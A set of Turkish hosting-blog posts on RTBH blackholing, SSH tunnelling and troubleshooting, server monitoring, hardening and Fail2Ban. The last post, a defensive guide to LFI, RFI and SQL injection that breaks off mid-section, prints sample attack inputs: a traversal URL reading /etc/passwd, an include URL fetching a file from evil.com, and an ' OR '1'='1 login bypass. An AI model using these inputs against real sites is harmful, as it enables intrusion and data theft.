Bu makalede; RTBH kavramı, BGP ile çalışma prensipleri, source-based ve destination-based RTBH yaklaşımları ele alınmakta; ayrıca Alptekin Sünnetci tarafından geliştirilen rtbh.com.tr / list.rtbh.com.tr projesi özelinde, çok sayıda hosting firması, veri merkezi ve isp üzerinde konumlandırılmış dağıtık probeler (distributed hosting probes) aracılığıyla sürekli zararlı IP toplama mimarisi detaylı biçimde incelenmektedir.

1. Giriş

İnternet altyapıları büyüdükçe saldırı yüzeyi de genişlemiştir. Günümüzde saldırılar:

• tek bir hedefe yönelik olmaktan çıkmış,
• otomatikleşmiş,
• sürekli tarama ve keşif fazları içeren,
• düşük maliyetli ama yüksek hacimli

bir yapıya evrilmiştir.

Bu ortamda güvenlik artık yalnızca sunucu seviyesinde değil, network ve operatör seviyesinde ele alınmak zorundadır.

2. RTBH (Remote Triggered Black Hole) Nedir?

RTBH, belirli bir IP adresine veya prefix’e gelen trafiğin, BGP aracılığıyla özel bir “blackhole” next-hop’una yönlendirilerek ağın en erken noktasında düşürülmesi tekniğidir.

RTBH’nin temel hedefleri:

• Zararlı trafiği hedefe ulaşmadan durdurmak
• Core, edge ve firewall kaynaklarını korumak
• Büyük hacimli saldırılarda servis sürekliliğini sağlamak

RTBH’nin en büyük avantajı:

• State tutmaması
• Line-rate çalışması
• CPU, RAM veya connection table tüketmemesidir

3. Neden Geleneksel Yöntemler Yetersiz Kalır?

RTBH, bu sorunları ağın dışında çözmeyi hedefler.

4. RTBH Türleri

4.1 Destination-Based RTBH

• Hedef IP tamamen karartılır
• En agresif ama en keskin çözümdür
• Servis kesintisi yaratır

4.2 Source-Based RTBH (S/RTBH)

• Saldırgan kaynak IP’ler düşürülür
• Servis çalışmaya devam eder
• Gelişmiş tehdit istihbaratı gerektirir

list.rtbh.com.tr, ağırlıklı olarak Source-Based RTBH yaklaşımını mümkün kılan veri üretir.

5. Dağıtık Hosting Probeleri (Distributed Hosting Probes)

RTBH ekosistemini klasik blacklist projelerinden ayıran en kritik unsur, çok sayıda hosting firması ve veri merkezi üzerinde konumlandırılmış dağıtık probeler aracılığıyla aktif ve sürekli tehdit toplamasıdır.

5.1 Hosting Probes Nedir?

Hosting probeleri:

• Farklı ASN’lerde
• Farklı ülkelerde
• Farklı IP bloklarında

çalışan, internete açık bırakılmış kontrollü izleme nodeleridir.

Amaç:

• Saldırganların ilk temas ettiği noktalar olmak
• Gerçek müşteri sistemleri hedef olmadan önce saldırgan IP’leri tespit etmek

Bu probeler genellikle:

• boş ama routable IP’ler
• düşük seviyeli servisler (SSH, HTTP, DNS, SMTP)
• honeypot benzeri davranışlar

üzerinden saldırgan trafiği üzerine çeker.

6. Sürekli Zararlı IP Toplama (Continuous Threat Harvesting)

RTBH sisteminde IP listeleri:

• manuel oluşturulmaz
• abuse raporlarına dayanmaz
• statik olarak güncellenmez

Bunun yerine:

• saniyeler–dakikalar ölçeğinde
• tamamen otomatik
• davranış bazlı

olarak üretilir.

6.1 Davranış Analizi

Bir IP şu davranışları sergilediğinde işaretlenir:

• Port scanning
• SYN / ACK flood
• UDP amplification denemeleri
• SSH / RDP brute-force
• Web exploit taramaları

Tek bir olay yeterli değildir. IP:

• birden fazla probe’da
• benzer davranışı
• belirli bir zaman penceresinde

sergilediğinde korelasyon skoru yükselir.

7. Korelasyon ve False Positive Yönetimi

RTBH mimarisinde:

• tek sensör verisi yeterli kabul edilmez
• çoklu doğrulama uygulanır
• IP’ler süreli (TTL bazlı) listelenir

Bu yaklaşım:

• shared hosting IP’leri
• NAT arkasındaki kullanıcılar
• CDN node’ları

gibi kritik riskleri minimize eder.

8. RTBH Bir Blacklist Değildir

RTBH listeleri yalnızca “kötü IP” içermez.

Her IP için:

• saldırı tipi
• tekrar sayısı
• hedef portlar
• zaman damgaları

gibi bağlamsal veriler tutulur.

Bu sayede RTBH:

“Bu IP kötüdür”
demekten ziyade
“Bu IP şu davranışı şu sıklıkta sergiliyor”

diyebilen bir davranış havuzu oluşturur.

9. ISP, Veri Merkezi, Hosting Firmaları İçin Avantajlar

Dağıtık probe ağı sayesinde:

• müşteri ticket’ı açılmadan önce
• saldırı hedefe ulaşmadan önce
• upstream’ler etkilenmeden önce

zararlı kaynaklar tespit edilir.

Bu yaklaşım:

• reaktif değil, proaktif
• lokal değil, global
• statik değil, canlı

bir güvenlik modeli sunar.

10. RTBH + DDoS Scrubbing Entegrasyonu

RTBH:

• küçük ve orta ölçekli saldırıları
• botnet taramalarını
• abuse kaynaklı trafiği

erken safhada keser.

Scrubbing çözümleri:

• büyük volumetrik saldırılarda devreye girer.

Birlikte kullanıldığında:

• scrubbing merkezine giden trafik azalır
• maliyet düşer
• latency iyileşir

11. Türkiye ve Bölgesel Ekosistem Açısından Önemi

RTBH.com.tr / list.rtbh.com.tr:

• Türkiye merkezli
• açık
• operatör dostu

nadir RTBH projelerinden biridir.

Bu yapı:

• yerel tehditlerin yerel çözümlerle ele alınmasını
• ISP’ler arası iş birliğini
• bölgesel bir erken uyarı sistemi oluşmasını

mümkün kılar.

12. Sonuç

RTBH, doğru veriyle beslendiğinde:

• düşük maliyetli
• yüksek ölçekli
• son derece etkili

bir ağ güvenliği mekanizmasıdır.

Dağıtık hosting probeleriyle sürekli zararlı IP toplayan RTBH mimarisi, bu tekniği teoriden çıkarıp gerçek dünyada operatör seviyesinde uygulanabilir hale getirmektedir.

RTBH ile ilgili geliştirmeleri projenin yöneticisi https://www.linkedin.com/in/alptekinsunnetci/ hesabından takip edebilirsiniz.

Kısa Kapanış

RTBH, yalnızca bir “kara delik” değil;
dağıtık probelerle beslenen,
sürekli öğrenen,
operatör seviyesinde bir erken uyarı ve mitigasyon sistemidir.

Türkiye merkezli açık tehdit istihbaratı yaklaşımı: RTBH.com.tr / list.rtbh.com.tr yazısı ilk önce Cenuta Blog üzerinde ortaya çıktı.

SSH (Secure Shell) tünelleme, veri iletişimini şifreleyerek internet üzerinden güvenli bir kanal oluşturmak için kullanılan bir yöntemdir. Genellikle uzak sunucularla güvenli bağlantılar kurmak, trafiği izinsiz erişimden korumak ve belirli portlara erişimi kısıtlamak amacıyla kullanılır.

Bu yöntem, internet üzerindeki trafiğin üçüncü taraflar tarafından izlenmesini veya değiştirilmesini engeller. SSH tünelleme, veri aktarımının sadece şifrelenmiş bağlantı üzerinden gerçekleşmesini sağlayarak gizliliği ve bütünlüğü garanti eder.

SSH Tünelleme Nasıl Çalışır?

SSH tünelleme üç temel yapı üzerinden çalışır:

1. Local Port Forwarding

Kullanıcının yerel bilgisayarındaki bir port, uzak sunucudaki bir servise yönlendirilir. Örneğin, şirket ağına bağlı bir veritabanına dışarıdan erişmek için kullanılır.

Kullanım Örneği:

ssh -L 3306:localhost:3306 user@remote-server

Bu komutla, yerel makinenin 3306 portundan gelen trafik, uzak sunucunun aynı portuna iletilir.

2. Remote Port Forwarding

Uzak bir sunucunun portu, yerel bir bilgisayardaki porta yönlendirilir. Bu, genellikle dış dünyadan yerel sunucuya erişim gerektiğinde kullanılır.

Kullanım Örneği:

ssh -R 8080:localhost:80 user@remote-server

3. Dynamic Port Forwarding (SOCKS Proxy)

Bir SOCKS proxy sunucusu oluşturularak internet trafiğinin SSH üzerinden yönlendirilmesini sağlar. VPN alternatifidir.

Kullanım Örneği:

ssh -D 1080 user@remote-server

SSH Tünellemenin Faydaları

• Veri Güvenliği: Tüm veri trafiği şifreli bir tünelden geçer.
• Uzak Servislere Güvenli Erişim: Güvenli olmayan ağlarda (örneğin halka açık Wi-Fi) dahi güvenli bağlantı sağlar.
• Firewall Atlatma: Ağ üzerindeki kısıtlamaları aşmak için kullanılır.
• VPN Alternatifi: Düşük kaynakla basit VPN benzeri kullanım senaryoları sunar.

SSH Tünelleme Nerelerde Kullanılır?

1. Veritabanı Sunucularına Güvenli Erişim

Yerel ağda çalışan bir veritabanına doğrudan bağlantı yerine SSH tüneli ile erişim sağlanarak veri güvenliği artırılır.

2. Güvenli Web Arayüzü Erişimi

Web uygulamaları, yönetim panelleri veya sunucu kontrolleri dış ağlara açılmadan tünel üzerinden erişilebilir.

3. İç Ağ Kaynaklarına Dışarıdan Erişim

Şirket içinde çalışan bir servise evden veya mobil bağlantı üzerinden güvenli erişim sağlanabilir.

4. VPN Alternatifi Olarak Kullanım

SSH dynamic port forwarding sayesinde, internet trafiği tünellenerek gizlilik ve güvenlik artırılabilir.

5. Geliştirme ve Test Ortamlarında

Geliştiriciler, farklı sunucular arasında geçici bağlantılar kurarak test işlemlerini güvenli şekilde gerçekleştirebilir.

SSH Tünelleme Yaparken Dikkat Edilmesi Gerekenler

• Yetkisiz Erişimi Engelleyin: Sadece güvenilir kullanıcıların SSH bağlantısı kurmasına izin verin.
• Güçlü Kimlik Doğrulama Kullanın: Anahtar tabanlı girişler tercih edilmelidir.
• Trafik İzleme: Gereksiz açık portlar veya tüneller sistem performansını ve güvenliğini etkileyebilir.
• Tünel Süresi ve Kapsamı: Sadece gerekli olduğu sürece tünel açık bırakılmalı ve belirli kaynaklarla sınırlandırılmalıdır.

Sonuç

SSH tünelleme, veri güvenliğini artırmak ve uzak sistemlere erişimi kontrol altına almak için güçlü bir çözümdür. Özellikle teknik kullanıcılar, sistem yöneticileri ve geliştiriciler için kritik bir araç olan SSH tünelleme, doğru kullanıldığında ağ trafiğinin şifrelenmesini sağlayarak veri gizliliği ve bütünlüğünü korur.

Doğru yapılandırılmış bir SSH tüneli, hem bireysel hem de kurumsal kullanıcılar için güvenli ve esnek bağlantı çözümleri sunar. Bu teknolojiyi aktif olarak kullanmak, siber tehditlere karşı güçlü bir savunma hattı oluşturmanın önemli bir adımıdır.

SSH Tünelleme Nedir? Güvenli Veri Aktarımı İçin Kullanım Senaryoları yazısı ilk önce Cenuta Blog üzerinde ortaya çıktı.

SSH Nedir ve Neden Kullanılır?

SSH, internet üzerinden şifreli iletişim kurmak için kullanılan bir protokoldür. Genellikle sistem yöneticileri tarafından sunuculara erişim, dosya transferi veya uzak komut çalıştırma amacıyla tercih edilir. SSH bağlantısı, kimlik doğrulama ve veri şifreleme açısından oldukça güvenlidir.

SSH Bağlantı Problemlerinin Genel Nedenleri

SSH bağlantısında karşılaşılan problemler birçok farklı faktöre bağlı olabilir:

• Yanlış IP adresi veya hostname kullanımı
• SSH servisi çalışmıyor olabilir
• Güvenlik duvarı bağlantıyı engelliyor olabilir
• SSH portu değiştirilmiş olabilir
• Anahtar tabanlı kimlik doğrulamada hatalı yapılandırma
• DNS çözümleme sorunları

Yaygın SSH Hataları ve Çözüm Yolları

1. Connection Refused (Bağlantı Reddedildi)

Nedenleri:

• SSH servisi çalışmıyor olabilir
• Yanlış IP adresi veya port

Çözüm:

• SSH servisini kontrol edin: sudo systemctl status ssh
• Varsayılan portun (22) kullanıldığından emin olun veya özel port numarasını belirtin: ssh -p 2222 kullanıcı@sunucu_adresi

2. Connection Timed Out (Bağlantı Zaman Aşımına Uğradı)

Nedenleri:

• Sunucuya bağlantı kurulamadı
• Güvenlik duvarı veya ağ erişimi engellenmiş olabilir

Çözüm:

• Sunucu açık ve internete bağlı mı kontrol edin
• Sunucu tarafında SSH portuna izin verildiğinden emin olun: sudo ufw allow ssh

3. Permission Denied (İzin Reddedildi)

Nedenleri:

• Yanlış kullanıcı adı veya parola
• Hatalı SSH anahtar dosyası

Çözüm:

• Doğru kullanıcı adını kullandığınızdan emin olun
• Giriş için doğru özel anahtar dosyasını kullanın: ssh -i ~/.ssh/id_rsa kullanıcı@sunucu_adresi

4. No Route to Host

Nedenleri:

• Ağ yapılandırma hatası
• Sunucuya erişim yok

Çözüm:

• IP adresini kontrol edin
• Ağ kablosu, VPN bağlantısı veya sunucu güvenlik grubu ayarlarını kontrol edin

5. Host Key Verification Failed

Nedenleri:

• Sunucunun parmak izi değişmiş olabilir
• DNS spoofing veya MITM (ortadaki adam) saldırısı olabilir

Çözüm:

• known_hosts dosyasındaki eski anahtar kaydını silin: ssh-keygen -R sunucu_adresi

SSH Bağlantısı Kurulamıyorsa Ne Yapılmalı?

1. SSH Servisinin Aktif Olduğundan Emin Olun sudo systemctl restart ssh
2. Güvenlik Duvarı Ayarlarını Kontrol Edin sudo ufw status sudo iptables -L
3. SSH Portunu Doğru Kullandığınızdan Emin Olun
   • Varsayılan dışındaki portlar için: ssh -p 2200 kullanıcı@sunucu
4. Anahtar Yetkilendirmelerini Kontrol Edin
   • .ssh/authorized_keys dosyasının izinleri: chmod 600 authorized_keys chmod 700 ~/.ssh

SSH Bağlantı Sorunları İçin İpuçları

• Verbose modunu kullanın: ssh -v kullanıcı@sunucu Bu komut, bağlantı sürecini ayrıntılı gösterir ve hata tespiti için oldukça yararlıdır.
• DNS Problemlerinden Kaçının:
  IP adresi ile bağlanarak DNS kaynaklı sorunları ortadan kaldırabilirsiniz.
• Anahtar Tabanlı Kimlik Doğrulama Kullanın:
  Şifre yerine anahtar tabanlı bağlantı hem daha güvenli hem de daha hızlıdır.

Sonuç

SSH bağlantı problemleri çoğu zaman doğru yapılandırma ve temel kontrollerle çözülebilir. Yaygın hataları tanımak ve sistematik bir şekilde çözüm üretmek, bağlantı sürekliliği açısından kritik öneme sahiptir. Sunucu erişim sorunları yaşadığınızda yukarıdaki adımları uygulayarak sorunları hızla tespit edebilir ve çözebilirsiniz.

SSH Bağlantı Problemleri Nasıl Çözülür? Hata Kodları ve Çözümleri yazısı ilk önce Cenuta Blog üzerinde ortaya çıktı.

Bu makalede sunucu izleme araçlarının ne işe yaradığı, hangi metriklerin takip edildiği ve en çok tercih edilen izleme yazılımlarının neler olduğu detaylı şekilde ele alınmaktadır.

Sunucu İzleme Nedir ve Neden Gereklidir?

Sunucu izleme, bir sistemin CPU, RAM, disk, ağ ve servis kullanımının belirli aralıklarla kontrol edilmesi ve bu verilerin raporlanması sürecidir. Bu süreç sayesinde:

• Performans darboğazları erkenden tespit edilir
• Güvenlik ihlalleri daha hızlı fark edilir
• Sistem durumu sürekli kontrol altında tutulur
• SLA (Service Level Agreement) uyumu sağlanır

Özellikle yüksek trafik alan sitelerde ya da bulut tabanlı uygulamalarda sunucu izleme, operasyonel süreklilik için kritik öneme sahiptir.

Hangi Metrikler İzlenmelidir?

Etkili bir izleme sistemi, aşağıdaki temel sunucu metriklerini takip etmelidir:

• CPU Kullanımı: İşlemci üzerindeki yük durumu
• RAM Kullanımı: Bellek tüketim oranları
• Disk Kullanımı ve G/Ç (I/O): Depolama alanı ve okuma/yazma performansı
• Ağ Trafiği: Gelen ve giden veri miktarı
• Servis Durumları: Apache, NGINX, MySQL gibi servislerin çalışıp çalışmadığı
• Günlük Kayıtları (Logs): Sistem olayları ve hata kayıtları
• Kullanıcı Girişleri: SSH ve sistem erişim kayıtları
• Sıcaklık ve Donanım Durumu: Fiziksel sunucularda donanım sağlığı

En İyi Sunucu İzleme Araçları

Aşağıda piyasada sıkça kullanılan ve farklı ihtiyaçlara hitap eden sunucu izleme yazılımları listelenmiştir.

1. Zabbix

• Açık kaynaklı ve güçlü bir izleme platformudur
• Gerçek zamanlı ağ, sunucu, uygulama ve hizmet izleme desteği sunar
• E-posta ve SMS ile uyarı mekanizmaları sağlar
• Web arayüzü üzerinden detaylı raporlama yapılabilir

2. Nagios

• Kurumsal düzeyde sistem ve ağ izleme sağlar
• Eklenti desteği ile özelleştirilebilir
• Topoloji haritaları ve olay bildirimleri güçlüdür
• Özellikle Linux sunucular için sıkça tercih edilir

3. Prometheus ve Grafana

• Prometheus zaman serisi veritabanı kullanır, Grafana ise görselleştirme sunar
• Kubernetes, Docker gibi modern yapılarla uyumludur
• Alarm tanımları ve sorgu desteği çok gelişmiştir
• DevOps ekipleri tarafından yaygın şekilde kullanılmaktadır

4. Netdata

• Gerçek zamanlı ve düşük kaynak tüketimli bir izleyicidir
• Otomatik yapılandırma ile hızlı kurulum sunar
• Web arayüzü üzerinden anlık grafikler sunar
• Uyarı sistemi özelleştirilebilir

5. Datadog

• Bulut tabanlı, ücretli ve güçlü bir izleme servisidir
• Uygulama, sunucu, ağ ve güvenlik takibi yapılabilir
• AWS, Azure, GCP gibi servislerle entegre çalışır
• Özellikle büyük ölçekli organizasyonlar için idealdir

6. Munin

• Grafik tabanlı ve açık kaynaklı bir sistem izleme aracıdır
• Linux sistemleri için hızlı ve sade çözüm sunar
• Kaynak kullanımı oldukça düşüktür
• Haftalık ve aylık raporlar oluşturabilir

7. New Relic

• Uygulama performans takibi (APM) özelliği ile öne çıkar
• Gerçek zamanlı analiz ve performans ölçümü sunar
• Dağıtık sistemler için uygundur
• Web ve mobil uygulamalar için APM desteği bulunur

Güvenlik Takibi ve Log İzleme

Sunucu izleme sadece performansla sınırlı değildir. Güvenlik olayları da izlenmeli ve raporlanmalıdır.

Kullanılabilecek Güvenlik Takip Araçları:

• Fail2Ban: SSH brute-force saldırılarını engeller
• OSSEC: Dosya değişikliği, rootkit tarama ve log analizi sağlar
• Wazuh: Gelişmiş olay izleme ve SIEM entegrasyonu sunar
• Logwatch veya GoAccess: Sunucu loglarının okunabilir raporlar haline getirilmesini sağlar

İzleme Sonuçlarının Raporlanması ve Bildirimler

İzleme araçlarının çoğu olaylara göre:

• E-posta
• SMS
• Slack, Discord gibi platformlara webhook ile bildirim gönderebilir

Bu sayede sistem yöneticileri 7/24 sunucu durumu hakkında bilgi sahibi olabilir ve gerektiğinde müdahale edebilir.

Sunucu İzlemede Otomasyon ve Yapay Zeka

Yeni nesil izleme çözümleri, otomatik anomali tespiti ve makine öğrenmesi kullanarak sistemleri daha akıllı şekilde takip eder. Bu teknolojiler sayesinde:

• Geçmişe göre normal dışı aktiviteler algılanır
• Olası kesintiler önceden tahmin edilir
• İnsan müdahalesine gerek kalmadan bazı sorunlara otomatik çözüm uygulanabilir

Sonuç

Sunucu izleme araçları, hem performans optimizasyonu hem de güvenlik denetimi açısından kritik rol oynar. Zabbix, Prometheus, Datadog gibi güçlü çözümler ile sistem kaynaklarını izlemek, anlık uyarılar almak ve raporlama yapmak mümkündür. İşletmenizin büyüklüğü, altyapısı ve hedeflerine göre doğru aracı seçmek, sunucu güvenliği ve erişilebilirliği açısından büyük avantaj sağlar.

Sunucu İzleme Araçları Nelerdir? Gerçek Zamanlı Performans ve Güvenlik Takibi yazısı ilk önce Cenuta Blog üzerinde ortaya çıktı.

Sunucu Güvenliği Neden Önemlidir?

Sunucular, bir web sitesinin, uygulamanın ya da veritabanının arkasındaki temel altyapıyı oluşturur. Sunucuya yapılan herhangi bir saldırı, veri kaybı, hizmet kesintisi ve maddi zarar gibi ciddi sonuçlar doğurabilir. Ayrıca, güvenliği ihlal edilen bir sunucu kötü amaçlı yazılımların yayılmasına da zemin hazırlayabilir.

1. Güçlü Bir Firewall (Güvenlik Duvarı) Kurulumu

Güvenlik Duvarı Nedir?

Firewall, yetkisiz erişimleri engellemek için sunucunun gelen ve giden trafiğini denetleyen bir güvenlik sistemidir. Hem donanım tabanlı hem de yazılım tabanlı olarak kurulabilir.

Hangi Tür Firewall Kullanılmalı?

• Ağ Seviyesinde Firewall (Network Firewall): Tüm ağı korur.
• Sunucu Bazlı Firewall (Host-based Firewall): Belirli bir sunucu için özelleştirilir. (Örn: iptables, ufw)
• Web Uygulama Güvenlik Duvarı (WAF): Web uygulamalarını hedef alan saldırılara karşı koruma sağlar. (Örn: ModSecurity)

En İyi Uygulamalar

• Gereksiz portları kapatın.
• Yalnızca belirli IP’lerden gelen bağlantılara izin verin.
• SSH gibi servislerde IP kısıtlamaları uygulayın.

2. DDoS (Dağıtık Hizmet Reddi) Saldırılarına Karşı Koruma

DDoS Nedir?

DDoS saldırıları, bir sunucunun veya ağın kaynaklarını tüketmek amacıyla aynı anda birçok noktadan yoğun trafik gönderilerek hizmetin erişilemez hale getirilmesidir.

DDoS Koruma Yöntemleri

• Trafik Filtreleme: CDN ve WAF kullanarak kötü niyetli trafiği engelleyin.
• Rate Limiting: IP başına istek sayısını sınırlayarak sunucunun yükünü azaltın.
• Anti-DDoS Servisleri: Cloudflare, Akamai, AWS Shield gibi profesyonel çözümler kullanın.
• Yük Dengeleme (Load Balancing): Trafiği farklı sunuculara dağıtarak yoğunluğu azaltın.

3. Yazılım ve Sistem Güncellemeleri

Güncel Sistemler Neden Önemlidir?

Eski sürüm yazılımlar, bilinen güvenlik açıklarını içerir ve saldırganlar bu açıkları kolaylıkla istismar edebilir. Yazılım ve işletim sisteminizi güncel tutmak, bilinen zafiyetlere karşı en etkili savunmadır.

Güncelleme Stratejileri

• Otomatik Güncellemeler: Güvenlik güncellemeleri için otomatik güncelleme mekanizmasını aktif hale getirin.
• Paket Takibi: Kullanılan yazılımlar için güncelleme duyurularını düzenli olarak takip edin.
• Versiyon Takibi: PHP, Apache, Nginx, MySQL gibi servislerin güncel sürümlerini kullanın.

4. Erişim Kontrolü ve Kimlik Doğrulama

Yetkisiz Girişleri Engelleyin

• SSH Anahtar Tabanlı Giriş: Parola yerine daha güvenli olan SSH anahtarlarını kullanın.
• Fail2Ban: Belirli sayıda başarısız girişten sonra IP’yi otomatik olarak engelleyen araç.
• 2FA (İki Faktörlü Kimlik Doğrulama): Sunucu yönetimi panelleri ve yönetici erişimi için mutlaka kullanın.

5. Loglama ve İzleme Sistemleri

İzleme Neden Gereklidir?

Sunucuda olup bitenleri anlamak için log kayıtlarının düzenli olarak izlenmesi gerekir. Bu sayede anormal davranışlar erken tespit edilebilir.

Kullanılabilecek İzleme Araçları

• Logwatch / Logrotate: Linux sunucularda log yönetimi.
• Nagios / Zabbix / Prometheus: Gerçek zamanlı sistem ve servis izleme.
• Fail2Ban: Kötü niyetli giriş denemelerini tespit ederek otomatik olarak müdahale eder.

6. Yedekleme ve Olası Saldırıya Hazırlık

Yedekleme Neden Olmazsa Olmaz?

Her zaman en kötü senaryo düşünülmeli. Düzenli olarak alınan yedekler, olası bir saldırı sonrası sistemi hızlıca eski haline döndürmeyi sağlar.

Etkili Yedekleme Stratejileri

• Günlük/Haftalık Otomatik Yedekleme
• Harici Lokasyonda Saklama
• Şifreli Yedekleme Dosyaları
• Yedeklerin Geri Yüklenme Testi

Sonuç

Sunucu güvenliği, tek bir uygulama ya da araçla sağlanamayacak kadar kapsamlı ve çok katmanlı bir süreçtir. Güvenlik duvarı, DDoS koruması, güncellemeler, erişim kontrolleri ve yedekleme sistemleri birlikte çalıştığında güçlü bir koruma kalkanı oluşturur. Bu stratejileri düzenli olarak gözden geçirip uygulamak, sunucularınızı hem dış tehditlere hem de iç zafiyetlere karşı korumanızı sağlar.

Sunucu Güvenliği Nasıl Sağlanır? Firewall, DDoS Koruması ve Güncelleme Stratejileri yazısı ilk önce Cenuta Blog üzerinde ortaya çıktı.

Fail2Ban Nedir?

Fail2Ban, Linux tabanlı sistemlerde çalışan açık kaynaklı bir güvenlik aracıdır. Temel görevi, log dosyalarını analiz ederek başarısız oturum açma girişimlerini tespit etmek ve belirlenen eşik değerlerin aşılması durumunda saldırgan IP adreslerini otomatik olarak engellemektir.

Fail2Ban, özellikle SSH, FTP, NGINX, Apache gibi yaygın servislerin log kayıtlarını izleyerek brute force, yetkisiz erişim ve kötü niyetli bot aktivitelerine karşı etkili bir savunma sağlar.

Fail2Ban Nasıl Çalışır?

Fail2Ban’ın çalışma mantığı oldukça basittir ancak etkilidir:

1. Log Analizi: Fail2Ban, yapılandırılmış servislerin log dosyalarını düzenli olarak okur.
2. Kuralların Uygulanması (Filters): Loglarda belirli desenleri (örneğin “authentication failure” gibi) tespit etmek için filtre kuralları uygulanır.
3. Eşik Değer Kontrolü: Belirli bir süre içinde çok sayıda başarısız girişim varsa bu bir tehdit olarak değerlendirilir.
4. IP Engelleme (Banning): Tehdit oluşturan IP adresi, belirli bir süre boyunca veya kalıcı olarak firewall aracılığıyla engellenir.
5. Unban Süreci: Engellenen IP’ler belirlenen süre sonunda otomatik olarak beyaz listeye alınabilir veya kalıcı olarak yasaklanabilir.

Fail2Ban Kurulumu

Fail2Ban, Debian, Ubuntu, CentOS gibi pek çok Linux dağıtımında kolayca kurulabilir.

Debian/Ubuntu için Kurulum

sudo apt update
sudo apt install fail2ban

CentOS/RHEL için Kurulum

sudo yum install epel-release
sudo yum install fail2ban

Kurulumdan sonra servis başlatılır ve sistem açılışında otomatik olarak başlaması sağlanır:

sudo systemctl enable fail2ban
sudo systemctl start fail2ban

Fail2Ban Yapılandırması

Fail2Ban yapılandırma dosyaları genellikle /etc/fail2ban/ dizininde yer alır. Ana yapılandırma dosyası jail.conf olup, bu dosya doğrudan düzenlenmemelidir. Bunun yerine jail.local adında bir kopya oluşturulup üzerinde özelleştirme yapılması önerilir.

Örnek jail.local yapılandırması:

[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 5
bantime = 3600
findtime = 600

Bu örnekte, SSH servisi üzerinden 10 dakika içinde 5’ten fazla başarısız girişim yapan IP adresi 1 saatliğine engellenecektir.

Sık Kullanılan Fail2Ban Komutları

• Fail2Ban servis durumu:
  sudo systemctl status fail2ban
• Aktif jails listesini görüntüleme:
  sudo fail2ban-client status
• Belirli bir jail durumu:
  sudo fail2ban-client status sshd
• IP adresini manuel olarak banlama:
  sudo fail2ban-client set sshd banip 192.168.1.100
• IP adresini unban yapma:
  sudo fail2ban-client set sshd unbanip 192.168.1.100

Fail2Ban ile Hangi Servisler Korunabilir?

Fail2Ban, yapılandırılabilir filtre sistemi sayesinde pek çok servisi koruyabilir:

• SSH
• FTP (vsftpd, proftpd)
• Web sunucuları (Apache, NGINX)
• Mail sunucuları (Postfix, Dovecot)
• PHP, MySQL gibi uygulama loglarına özel filtrelerle genişletme

Brute Force Saldırılarına Karşı Fail2Ban’ın Avantajları

• Gerçek zamanlı izleme ile saldırıları anında engelleme
• Otomatik IP ban sistemi sayesinde yöneticinin manuel müdahalesine gerek bırakmaması
• Esnek filtreleme ve jail yapılandırması ile çok sayıda hizmet için özelleştirilebilir koruma
• Firewall seviyesinde engelleme ile etkili sonuçlar üretme

Güvenliği Artırmak İçin Ekstra Önlemler

Fail2Ban tek başına güçlü bir çözümdür ancak sistem güvenliğini artırmak için aşağıdaki adımlar da önerilir:

• SSH bağlantılarını yalnızca belirli IP adreslerine açık hale getirmek
• SSH portunu değiştirmek (varsayılan 22 yerine farklı bir port)
• Karmaşık ve uzun parolalar kullanmak
• SSH anahtar tabanlı kimlik doğrulama kullanmak
• Fail2Ban bantime süresini artırmak

Sonuç

Fail2Ban, brute force saldırılarına karşı etkili, esnek ve kolay yönetilebilir bir çözüm sunar. Özellikle SSH gibi sık hedef alınan servislerde, log temelli tehdit tespiti ve otomatik IP engelleme yetenekleri sayesinde, sistem yöneticileri için vazgeçilmez bir güvenlik bileşenidir. Linux sunucunuzu dış tehditlere karşı güçlendirmek ve güvenliği otomatikleştirmek istiyorsanız, Fail2Ban kullanımı mutlaka değerlendirilmelidir.

Fail2Ban Nedir ve Nasıl Çalışır? Brute Force Saldırılarına Karşı Nasıl Korunulur? yazısı ilk önce Cenuta Blog üzerinde ortaya çıktı.

LFI (Local File Inclusion) Nedir?

LFI, saldırganın hedef sistemdeki dosyaları çağırmasına veya çalıştırmasına olanak sağlayan bir güvenlik açığıdır. Genellikle PHP tabanlı uygulamalarda görülür ve include, require gibi fonksiyonların kullanıcı girdisiyle kontrolsüz kullanılması durumunda ortaya çıkar.

LFI Saldırısının Tipik Kullanımı

http://example.com/page.php?file=../../../../etc/passwd

LFI’ye Karşı Alınması Gereken Önlemler

• allow_url_include ve allow_url_fopen direktiflerinin devre dışı bırakılması
• Dosya dahil etme işlemlerinde sabit tanımlamalar (whitelisting) kullanılması
• Kullanıcı girdisinin sanitize ve validate edilmesi
• PHP’de basename() ve realpath() kontrollerinin entegre edilmesi
• Web sunucusu seviyesinde dosya erişim izinlerinin sınırlandırılması

RFI (Remote File Inclusion) Nedir?

RFI, uzak bir kaynaktan dosya çağırmaya ve çalıştırmaya olanak sağlayan bir güvenlik zafiyetidir. LFI’den farklı olarak saldırganın kendi kontrolündeki bir sunucudan zararlı dosya çalıştırması mümkündür.

RFI Saldırısının Tipik Kullanımı

http://example.com/page.php?file=http://evil.com/malicious.txt

RFI’ye Karşı Sunucu Taraflı Güvenlik Önlemleri

• allow_url_fopen ve allow_url_include değerlerinin Off yapılması
• Sunucu tarafında dış URL’lerin içe aktarılmasının engellenmesi
• Dosya içeriği işlemlerinde sadece yerel path’lerin kullanılması
• Web uygulama güvenlik duvarı (WAF) ile şüpheli URL parametrelerinin engellenmesi

SQL Injection Nedir?

SQL Injection, kullanıcı girişleri aracılığıyla SQL sorgularının manipüle edilmesini sağlar. Bu zafiyet, veritabanına doğrudan müdahale ile veri çalınmasına, güncellenmesine veya silinmesine neden olabilir.

SQL Injection Saldırısının Örneği

SELECT * FROM users WHERE username = '$user' AND password = '$pass';

Eğer $user değeri ' OR '1'='1 şeklinde girilirse tüm kullanıcılar listelenebilir.

SQL Injection’a Karşı Alınması Gereken Önlemler

• Hazır SQL sorguları yerine parametreli (prepared) sorgular kullanılmalıdır
• ORM (Object Relational Mapping) kullanımı tercih edilmelidir
• Kullanıcı girdileri hem istemci hem sunucu tarafında doğrulanmalıdır
• Veritabanı kullanıcılarına minimum yetki verilmelidir (örneğin sadece SELECT)
• SQL hatalarının kullanıcıya gösterilmesi engellenmelidir (display_errors = Off)

Sunucu Tarafında Genel Güvenlik Önlemleri

1. Dosya ve Dizin İzinleri

• Web dizinlerinde yazılabilir dosya bırakılmamalı
• /var/www/html gibi dizinlerde sadece okunabilir ve çalıştırılabilir izinler tanımlanmalı
• chmod, chown ve umask ayarları düzenli kontrol edilmelidir

2. Web Uygulama Güvenlik Duvarı (WAF)

• ModSecurity gibi WAF sistemleri, bilinen LFI, RFI, SQL Injection imzalarını tespit eder ve engeller
